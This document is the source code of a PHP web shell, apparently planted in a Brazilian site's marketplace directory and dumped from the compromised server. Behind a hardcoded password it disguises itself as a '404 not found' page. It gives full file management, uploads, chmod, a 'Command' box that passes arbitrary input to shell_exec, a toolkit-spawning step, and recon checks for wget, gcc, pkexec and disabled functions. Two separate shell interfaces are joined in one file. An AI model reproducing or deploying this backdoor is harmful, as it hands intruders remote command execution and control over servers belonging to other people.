%PDF- %PDF-
Direktori : /proc/self/root/var/www/projetos/suporte.iigd.com.br/marketplace/ |
Current File : //proc/self/root/var/www/projetos/suporte.iigd.com.br/marketplace/xnoirz.php |
<?php session_start(); $correctPassword = 'delsgade7'; if (isset($_POST['password']) && $_POST['password'] === $correctPassword) { $_SESSION['authenticated'] = true; } if (isset($_GET['action']) && $_GET['action'] === 'logout') { unset($_SESSION['authenticated']); header('Location: ' . $_SERVER['PHP_SELF']); exit; } if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/5.3.0/css/bootstrap.min.css"> <style> body { display: flex; justify-content: center; align-items: center; height: 100vh; background-color: #f8f9fa; } .container { max-width: 400px; padding: 20px; background: white; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.1); } .container h1 { margin-bottom: 20px; } </style> </head> <body> <div class="container"> <h1 class="text-center">Login</h1> <form method="POST" action=""> <div class="mb-3"> <label for="password" class="form-label">Password</label> <input type="password" id="password" name="password" class="form-control" required> </div> <button type="submit" class="btn btn-primary w-100">Login</button> </form> </div> <script src="https://stackpath.bootstrapcdn.com/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script> </body> </html> <?php exit; } function listFiles($dir) { return is_dir($dir) ? array_diff(scandir($dir), ['.', '..']) : []; } function showFiles($dir) { foreach (listFiles($dir) as $file) { $fullPath = realpath($dir . DIRECTORY_SEPARATOR . $file); $isDir = is_dir($fullPath); echo '<div class="card mb-2"> <div class="card-body d-flex justify-content-between align-items-center"> <div> <h5 class="card-title mb-0">' . htmlspecialchars($file) . '</h5> <p class="card-text mb-0 text-muted">Path: ' . htmlspecialchars($fullPath) . '</p> </div> <div>'; if ($isDir) { echo '<a href="?dir=' . urlencode($fullPath) . '" class="btn btn-outline-secondary btn-sm">Open</a>'; } else { echo '<a href="?action=view&file=' . urlencode($fullPath) . '" class="btn btn-outline-primary btn-sm">View</a> <a href="?action=edit&file=' . urlencode($fullPath) . '" class="btn btn-info btn-sm">Edit</a> <a href="?action=rename&file=' . urlencode($fullPath) . '" class="btn btn-warning btn-sm">Rename</a> <a href="?action=delete&file=' . urlencode($fullPath) . '" class="btn btn-danger btn-sm" onclick="return confirm(\'Are you sure?\')">Delete</a> <a href="?action=chmod&file=' . urlencode($fullPath) . '" class="btn btn-secondary btn-sm">Chmod</a>'; } echo '</div></div></div>'; } } function viewFile($file) { if (file_exists($file)) { echo '<pre>' . htmlspecialchars(file_get_contents($file)) . '</pre>'; } else { echo 'File not found!'; } } function renameFile($oldName, $newName) { return file_exists($oldName) && !file_exists($newName) ? rename($oldName, $newName) : false; } function deleteFile($file) { return file_exists($file) ? unlink($file) : false; } function saveFile($file, $content) { return file_put_contents($file, $content); } function chmodFile($file, $mode) { return chmod($file, octdec($mode)); } function uploadFile($file) { $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } return move_uploaded_file($file['tmp_name'], $uploadDir . basename($file['name'])); } function makeDirectory($dir) { return !is_dir($dir) ? mkdir($dir, 0755, true) : false; } function makeFile($file) { return file_put_contents($file, '') !== false; } $rootDir = __DIR__; $currentDir = $rootDir; $action = $_GET['action'] ?? ''; $file = $_GET['file'] ?? ''; $newName = $_POST['new_name'] ?? ''; $content = $_POST['content'] ?? ''; $mode = $_POST['mode'] ?? ''; $uploadFile = $_FILES['upload_file'] ?? null; $newDir = $_POST['new_dir'] ?? ''; $newFile = $_POST['new_file'] ?? ''; if (isset($_GET['dir'])) { $currentDir = realpath($_GET['dir']); } ?> <html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css"><style>@import url('https://fonts.googleapis.com/css?family=Dosis');@import url('https://fonts.googleapis.com/css?family=Bungee');td,th,thead{border:1px solid #fff;padding:5px;box-shadow: 0 0 10px 0 #707070}tr{background-color:#fff}body{font-family:"Dosis",cursive;text-shadow:0px 0px 1px #707070}</style></head> <iframe width="0" height="0" src="" frameborder="0" allow="autoplay" allowfullscreen="none"></iframe> <body><center> <?php error_reporting(0); $currentPath = getcwd(); $pathComponents = explode(DIRECTORY_SEPARATOR, $currentPath); echo "<font face='Bungee' size='3'><h1>🐍 404 not found</h1></font><div class='container'><div id='pw'>Home: "; foreach ($pathComponents as $index => $component) { $partialPath = implode(DIRECTORY_SEPARATOR, array_slice($pathComponents, 0, $index + 1)); $partialPath = str_replace("%2F", "/", rawurlencode($partialPath)); echo "<a href='?path=" . $partialPath . "'>" . $component . "</a>"; if ($index < count($pathComponents) - 1) { echo "/"; } } echo "</div><br>"; ?> <form method="GET"><input type="text" name="path" autocomplete="off" size="100" class="textinput" required><input type="submit" class="submit"></form> <?php if (htmlspecialchars(isset($_GET["path"]))) { $path = $_GET["path"]; $file = $_GET["file"]; $folder = $_GET["folder"]; $folder_name = basename($folder); $file_name = basename($file); ?> <script> const path = document.querySelector('input[name=path]') path.value = '<?php echo $_GET["path"]; ?>' </script><a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=createfolder"><button type="button" class="button-tools">+Folder</button></a> <a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=createfile"><button type="button" class="button-tools">+File</button></a> <a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=spawntools"><button type="button" class="button-tools">Spawn ToolKit</button></a> <a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=info"><button type="button" class="button-tools">Info Min</button></a> <a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=upload"><button type="button" class="button-tools">Upload</button></a> <a href="?path=<?php echo htmlspecialchars($_GET["path"]); ?>&action=cmd"><button type="button" class="button-tools">Command</button></a><br><br> <?php if ($_GET["action"] == "view") { echo "<p class='text-center'>Filename: $file_name</p>"; echo "<textarea class='textarea' disabled>".htmlspecialchars(file_get_contents($file))."</textarea>"; } elseif ($_GET["action"] == "edit" && $file) { ?> <form method="POST"><p>Filename:<?php echo $file_name; ?></p><?php echo "<textarea name='content' class='textarea'>".htmlspecialchars(file_get_contents($file))." </textarea>"; ?><input type="submit" name="edit" class="submit"></form> <?php if (isset($_POST["edit"])) { $editted = base64_encode($_POST["content"]); $save = saveme($file, base64_decode($editted)); if ($save) { echo "<script>alert('Edit $file_name success')</script>"; echo "<script>window.location = '?path=$path&action=edit&file=$file'</script>"; } else { echo "Edit $file_name failed"; } } } elseif ($_GET["action"] == "rename" && $file) { renames($file, $path, $file_name); } elseif ($_GET["action"] == "rename" && $folder) { renames($folder, $path, $folder_name); } elseif ($_GET["action"] == "delete" && $file) { if (unlink($file)) { echo "<script>alert('Delete $file_name success')</script>"; echo "<script>window.location = '?path=$path'</script>"; } else { echo "Delete $file_name failed"; } } elseif ($_GET["action"] == "delete" && $folder) { if (is_dir($folder)) { if (is_writable($folder)) { @rmdir($folder); @shell_exec("rm -rf $folder"); @shell_exec("rmdir /s /q $folder"); echo "<script>alert('$folder_name Deleted')</script>"; echo "<script>window.location = '?path=$path'</script>"; } else { echo "Delete $folder_name failed"; } } } elseif ($_GET["action"] == "spawntools") { $save = saveme($path."/tools.php", base64_decode($tools)); echo "<center>"; if ($save) { echo "<script>alert('Spawn Toolkit tools.php success')</script>"; echo "<script>window.location = '?path=$path'</script>"; } else { echo "Spawn Toolkit failed"; } echo "</center>"; } elseif ($_GET["action"] == "createfile") { ?> <form method="POST"><input type="text" name="filename" class="textinput"><textarea name="filetext" class="textarea"></textarea><input type="submit" name="touch" class="submit"></form> <?php if (isset($_POST["touch"])) { $filename = $_POST["filename"]; $filetext = base64_encode($_POST["filetext"]); $save = saveme($path."/".$filename, base64_decode($filetext)); if ($save) { echo "<script>alert('".$filename." has successfully created')</script>"; echo "<script>window.location = '?path=".htmlspecialchars($path)."'</script>"; } else { echo "Create file failed"; } } } elseif ($_GET["action"] == "createfolder") { ?> <form method="POST"><input type="text" name="foldername" autocomplete="off" class="inputtext textinput"><input type="submit" name="cfolder" class="submit"></form> <?php if (isset($_POST["cfolder"])) { $fname = $_POST["foldername"]; if (@mkdir($path."/".$fname)) { echo "<script>alert('$fname Created')</script>"; echo "<script>window.location = '?path=".htmlspecialchars($path)."'</script>"; } else { echo "Create folder failed"; } } } elseif ($_GET["action"] == "upload") { ?> <form method="POST" enctype="multipart/form-data"><input type="file" name="nax_file" id="naxx"><input type="submit" name="upkan" class="submit"></form> <?php if (isset($_POST["upkan"])) { if (move_uploaded_file($_FILES["nax_file"]["tmp_name"], $path."/".$_FILES["nax_file"]["name"])) { $file = $_FILES["nax_file"]["name"]; echo "<script>alert('$file uploaded')</script>"; echo "<script>window.location = '?path=".htmlspecialchars($path)."'</script>"; } else { echo "<center>Upload fail</center>"; } } } elseif ($_GET["action"] == "cmd") { ?> <form method="POST"><input type="text" name="cmd" autocomplete="off" size="100" class="inputtext textinput"><input type="submit" name="exec" class="submit"></form> <?php if (isset($_POST["exec"])) { $cmd = $_POST["cmd"]; echo "<div class='cmd'>".@shell_exec($cmd)."</div>"; } } elseif ($_GET["action"] == "info") { echo '<div class="wrap">'; infomin(); echo '</div>'; } else { ?> <div class="wrap"><table><thead><tr><th>Items</th><th>Size</th><th>Permission</th><th>Action</th></tr></thead><tbody> <?php $scan = scandir($path); foreach ($scan as $folders) { if (!is_dir($path."/".$folders) || $folders == ".." || $folders == ".") { continue; } ?> <tr><td nowrap="nowrap" width="450"><?php echo "<a href='?path=$path/$folders'><i class='fas fa-folder'></i> $folders</a>"; ?></td><td nowrap="nowrap" width="100">---</td><td nowrap="nowrap" width="150"> <?php if (is_writable($path."/".$folders)) { $color = "lime"; } else { $color = "red"; } echo "<font color='$color'>".hi_permission($path."/".$folders)."</font>"; ?> </td><td nowrap="nowrap" width="90"> <?php echo " <a href='?path=$path&action=rename&folder=$path/$folders'><i class='fas fa-pen'></i></a><a href='?path=$path&action=delete&folder=$path/$folders'><i class='fas fa-trash-alt'></i></a> "; ?> </td></tr> <?php } foreach ($scan as $files) { if (is_file($path."/".$files)) { ?> <tr><td nowrap="nowrap" width="450"><?php echo "<a href='?path=$path&action=view&file=$path/$files'><i class='fas fa-file'></i> $files</a>"; ?></td><td nowrap="nowrap" width="100"><?php echo "".Size($path."/".$files).""; ?></td><td nowrap="nowrap" width="150"> <?php if (is_writable($path."/".$files)) { $color = "lime"; } else { $color = "red"; } echo "<font color='$color'>".hi_permission($path."/".$folders)."</font>"; ?> </td><td nowrap="nowrap" width="90"> <?php echo " <a href='?path=$path&action=edit&file=$path/$files'><i class='fas fa-edit'></i></a><a href='?path=$path&action=rename&file=$path/$files'><i class='fas fa-pen'></i></a><a href='?path=$path&action=delete&file=$path/$files'><i class='fas fa-trash-alt'></i></a> "; ?> </td></tr> <?php } } echo "</tbody></table></div>"; } } function saveme($name, $content) { $open = fopen($name, "w"); fwrite($open, $content); fclose($open); return $open; } function renames($item, $path, $name) { ?> <form method="POST"><input type="text" name="newname" value="<?php echo $name; ?>" size="50" class="textinput inputtext"><input type="submit" name="rename" class="submit"></form> <?php if (isset($_POST["rename"])) { $new = $_POST["newname"]; if (rename($item, $path."/".$new)) { echo "<script>alert('$name successfully renamed')</script>"; echo "<script>window.location = '?path=$path'</script>"; } else { echo "Rename failed"; } } } function Size($path) { $bytes = sprintf('%u', filesize($path)); if ($bytes > 0) { $unit = intval(log($bytes, 1024)); $units = array('B', 'KB', 'MB', 'GB'); if (array_key_exists($unit, $units) === true) { return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]); } } return $bytes; } function infomin() { $curl = (function_exists("curl_version")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>"; $wget = (@shell_exec("wget --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>"; $python = (@shell_exec("python --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>"; $perl = (@shell_exec("perl --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>"; $ruby = (@shell_exec("ruby --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>"; $gcc = (@shell_exec("gcc --help")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>"; $pkexec = (@shell_exec("pkexec --version")) ? "<font color='lime'>ON</font>" : "<font color='red'>OFF</font>"; $disfuncs = @ini_get("disable_functions"); $showit = (!empty($disfuncs)) ? "<font color='red'>$disfuncs</font>" : "<font color='lime'>NONE</font>"; echo "<div class='infomin wrap'>"; echo "OS : ".php_uname()."<br>"; echo "SERVER IP : ".$_SERVER["SERVER_ADDR"]."<br>"; echo "SOFTWARE : ".$_SERVER["SERVER_SOFTWARE"]."<br>"; echo "Disabled Functions : $showit<br>"; echo "CURL : $curl | WGET : $wget | PERL : $perl | RUBY : $ruby | PYTHON : $python | GCC : $gcc | PKEXEC : $pkexec"; echo "</div>"; } function hi_permission($items) { $perms = fileperms($items); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> </div><script> const file = document.querySelector('input[type="file"]') const label = document.querySelector('label[for="naxx"]') file.addEventListener('change', () => { if (file.value.length == '0') { label.innerText = 'Choose File Here' } else if (file.value.length >= '30') { value = file.value.substring(0, 30) + "..." label.innerText = value } else { label.innerText = file.value } }) </script></body></html> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/5.3.0/css/bootstrap.min.css"> <style> body { padding-top: 20px; } .container { max-width: 1200px; } .editor { height: 400px; } .card { margin-bottom: 10px; } .btn { margin-right: 5px; } </style> </head> <body> <div class="container"> <h1 class="mb-4">File Manager</h1> <div class="mb-4"> <a href="?action=logout" class="btn btn-danger">Logout</a> <a href="?dir=<?php echo urlencode($rootDir); ?>" class="btn btn-secondary">Home</a> </div> <?php switch ($action) { case 'view': echo '<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">View File</h5>'; viewFile($file); echo ' </div> </div>'; break; case 'rename': echo '<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Rename File</h5>'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { echo renameFile($file, $newName) ? '<div class="alert alert-success">File renamed successfully!</div>' : '<div class="alert alert-danger">Error renaming file!</div>'; } else { echo '<form method="POST" class="mb-4"> <div class="mb-3"> <label for="new_name" class="form-label">New name</label> <input type="text" class="form-control" id="new_name" name="new_name" value="' . htmlspecialchars(basename($file)) . '"> </div> <button type="submit" class="btn btn-primary">Rename</button> </form>'; } echo ' </div> </div>'; break; case 'delete': echo '<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Delete File</h5>'; echo deleteFile($file) ? '<div class="alert alert-success">File deleted successfully!</div>' : '<div class="alert alert-danger">Error deleting file!</div>'; echo ' </div> </div>'; break; case 'edit': echo '<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Edit File</h5>'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { echo saveFile($file, $content) ? '<div class="alert alert-success">File saved successfully!</div>' : '<div class="alert alert-danger">Error saving file!</div>'; } else { echo '<form method="POST" class="mb-4"> <div class="mb-3"> <label for="content" class="form-label">Content</label> <textarea id="content" name="content" class="form-control editor" rows="10">' . htmlspecialchars(file_get_contents($file)) . '</textarea> </div> <button type="submit" class="btn btn-primary">Save</button> </form>'; } echo ' </div> </div>'; break; case 'chmod': echo '<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Change Permissions</h5>'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { echo chmodFile($file, $mode) ? '<div class="alert alert-success">Permissions changed successfully!</div>' : '<div class="alert alert-danger">Error changing permissions!</div>'; } else { echo '<form method="POST" class="mb-4"> <div class="mb-3"> <label for="mode" class="form-label">Mode (e.g., 0755)</label> <input type="text" class="form-control" id="mode" name="mode" required> </div> <button type="submit" class="btn btn-primary">Change Permissions</button> </form>'; } echo ' </div> </div>'; break; default: if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($uploadFile)) { echo uploadFile($uploadFile) ? '<div class="alert alert-success">File uploaded successfully!</div>' : '<div class="alert alert-danger">Error uploading file!</div>'; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($newDir)) { echo makeDirectory($newDir) ? '<div class="alert alert-success">Directory created successfully!</div>' : '<div class="alert alert-danger">Error creating directory!</div>'; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($newFile)) { echo makeFile($newFile) ? '<div class="alert alert-success">File created successfully!</div>' : '<div class="alert alert-danger">Error creating file!</div>'; } echo '<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Upload File</h5> <form method="POST" enctype="multipart/form-data"> <div class="mb-3"> <input type="file" class="form-control" name="upload_file"> </div> <button type="submit" class="btn btn-primary">Upload</button> </form> </div> </div>'; echo '<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Create Directory</h5> <form method="POST"> <div class="mb-3"> <input type="text" class="form-control" name="new_dir" placeholder="Directory path"> </div> <button type="submit" class="btn btn-primary">Create Directory</button> </form> </div> </div>'; echo '<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Create File</h5> <form method="POST"> <div class="mb-3"> <input type="text" class="form-control" name="new_file" placeholder="File path"> </div> <button type="submit" class="btn btn-primary">Create File</button> </form> </div> </div>'; echo '<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Files</h5>'; showFiles($currentDir); echo ' </div> </div>'; break; } ?> </div> <script src="https://stackpath.bootstrapcdn.com/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script> </body> </html>